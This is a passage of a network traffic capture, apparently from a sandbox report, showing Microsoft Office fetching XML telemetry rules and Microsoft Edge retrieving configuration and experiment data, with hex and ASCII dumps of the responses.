2024-10-28 17:43:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	63456	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174326Z-17c5cb586f6sqz6fff89etrx080000000520000000004w34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	63460	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174326Z-16849878b786lft2mu9uftf3y400000006q0000000003fy7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	63467	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174326Z-17c5cb586f672xmrz843mf85fn000000042g00000000b61e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	63468	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174326Z-16849878b78tg5n42kspfr0x4800000005f00000000011af x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	63461	94.245.104.56	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:27 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 28 Oct 2024 17:43:26 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	63459	52.123.243.195	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:26 UTC	745	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-10-28 17:43:27 UTC	1177	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 57955 Content-Type: application/json Expires: Mon, 28 Oct 2024 18:43:27 GMT ETag: "9A/kNZ2H2oRYXf8FB5mtCA5h6bkwnMgDGJoESXplmKM=" Server: Microsoft-IIS/10.0 request-id: d22fb1f0-ba5a-09a6-e979-a3a0f31576e7 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-SIP-FR0&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: d22fb1f0-ba5a-09a6-e979-a3a0f31576e7 FR0P281CA0154 2024-10-28T17:43:27.031Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: HHN X-FEProxyInfo: FR0P281CA0154.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN X-Powered-By: ASP.NET X-FEServer: FR0P281CA0154 Date: Mon, 28 Oct 2024 17:43:26 GMT Connection: close
2024-10-28 17:43:27 UTC	3358	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 44 69 73 61 62 6c 65 41 62 61 6e 64 6f 6e 65 64 43 61 72 74 22 3a 7b 22 64 69 73 Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeShoppingDisableAbandonedCart":{"dis
2024-10-28 17:43:27 UTC	12336	IN	Data Raw: 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 55 6e 64 65 72 73 69 64 65 57 69 6e 43 6f 70 69 6c 6f 74 4e 78 74 42 72 61 6e 64 22 5d 7d 2c 22 4c 6f 61 64 53 74 61 74 69 73 74 69 63 73 4c 6f 67 67 69 6e 67 50 72 69 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 4c 6f 61 64 53 74 61 74 69 73 74 69 63 73 4c 6f 77 50 72 69 4c 6f 67 67 69 6e 67 22 5d 7d 2c 22 48 69 73 74 6f 72 79 54 68 75 6d 62 6e 61 69 6c 4b 69 6c 6c 53 77 69 74 63 68 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 48 69 73 74 6f 72 79 54 68 75 6d 62 6e 61 69 6c 22 5d 7d 2c 22 53 64 63 68 45 6e 61 62 6c 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 53 64 63 68 22 5d 7d 2c 22 45 64 67 Data Ascii: leFeatures":["msUndersideWinCopilotNxtBrand"]},"LoadStatisticsLoggingPri":{"disableFeatures":["msLoadStatisticsLowPriLogging"]},"HistoryThumbnailKillSwitch":{"disableFeatures":["msEdgeHistoryThumbnail"]},"SdchEnable":{"enableFeatures":["msEdgeSdch"]},"Edg
2024-10-28 17:43:27 UTC	16384	IN	Data Raw: 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 65 63 75 61 76 69 73 61 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 75 7a 2e 73 70 75 74 6e 69 6b 6e 65 77 73 2e 72 75 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6e 64 74 76 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 65 6c 69 6d 70 61 72 63 69 61 6c 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 70 6f 76 61 72 65 6e 6f 6b 2e Data Ascii: rompt","domain":"www.ecuavisa.com"},{"applied_policy":"Prompt","domain":"uz.sputniknews.ru"},{"applied_policy":"Prompt","domain":"www.ndtv.com"},{"applied_policy":"Prompt","domain":"www.elimparcial.com"},{"applied_policy":"Prompt","domain":"www.povarenok.
2024-10-28 17:43:27 UTC	16384	IN	Data Raw: 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6b 79 63 2e 69 63 69 63 69 62 61 6e 6b 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 68 64 2e 6b 69 6e 6f 70 6f 69 73 6b 2e 72 75 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 61 69 6f 73 61 6e 74 65 2e 66 72 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 6e 74 6f 72 61 2e 63 6f 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6c 65 62 6f 6e 63 6f 69 6e 2e 66 72 22 2c 22 61 70 70 6c 69 Data Ascii: "},{"domain":"kyc.icicibank.com","applied_policy":"ChromeUA"},{"domain":"hd.kinopoisk.ru","applied_policy":"ChromeUA"},{"domain":"aiosante.fr","applied_policy":"ChromeUA"},{"domain":"mentora.co","applied_policy":"ChromeUA"},{"domain":"leboncoin.fr","appli
2024-10-28 17:43:27 UTC	9493	IN	Data Raw: 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 70 6c 61 79 2e 6e 75 75 76 65 6d 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 61 6c 6f 63 6f 6d 2e 63 6f 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 73 73 70 74 2e 62 6a 63 6f 75 72 74 2e 67 6f 76 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 65 6e 67 6c 69 73 68 62 75 64 64 79 2e 6b 72 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6c 75 7a 2e 74 63 64 2e 67 6f 76 2e 74 77 22 2c 22 Data Ascii: ,{"domain":"play.nuuvem.com","applied_policy":"ChromeUA"},{"domain":"alocom.co","applied_policy":"ChromeUA"},{"domain":"sspt.bjcourt.gov.cn","applied_policy":"ChromeUA"},{"domain":"englishbuddy.kr","applied_policy":"ChromeUA"},{"domain":"luz.tcd.gov.tw","

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	63471	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174327Z-16849878b786fl7gm2qg4r5y7000000005mg00000000dgz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	63469	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174327Z-16849878b78tg5n42kspfr0x4800000005dg000000006aac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	63472	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174327Z-17c5cb586f6hn8cl90dxzu28kw00000005d0000000001rcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
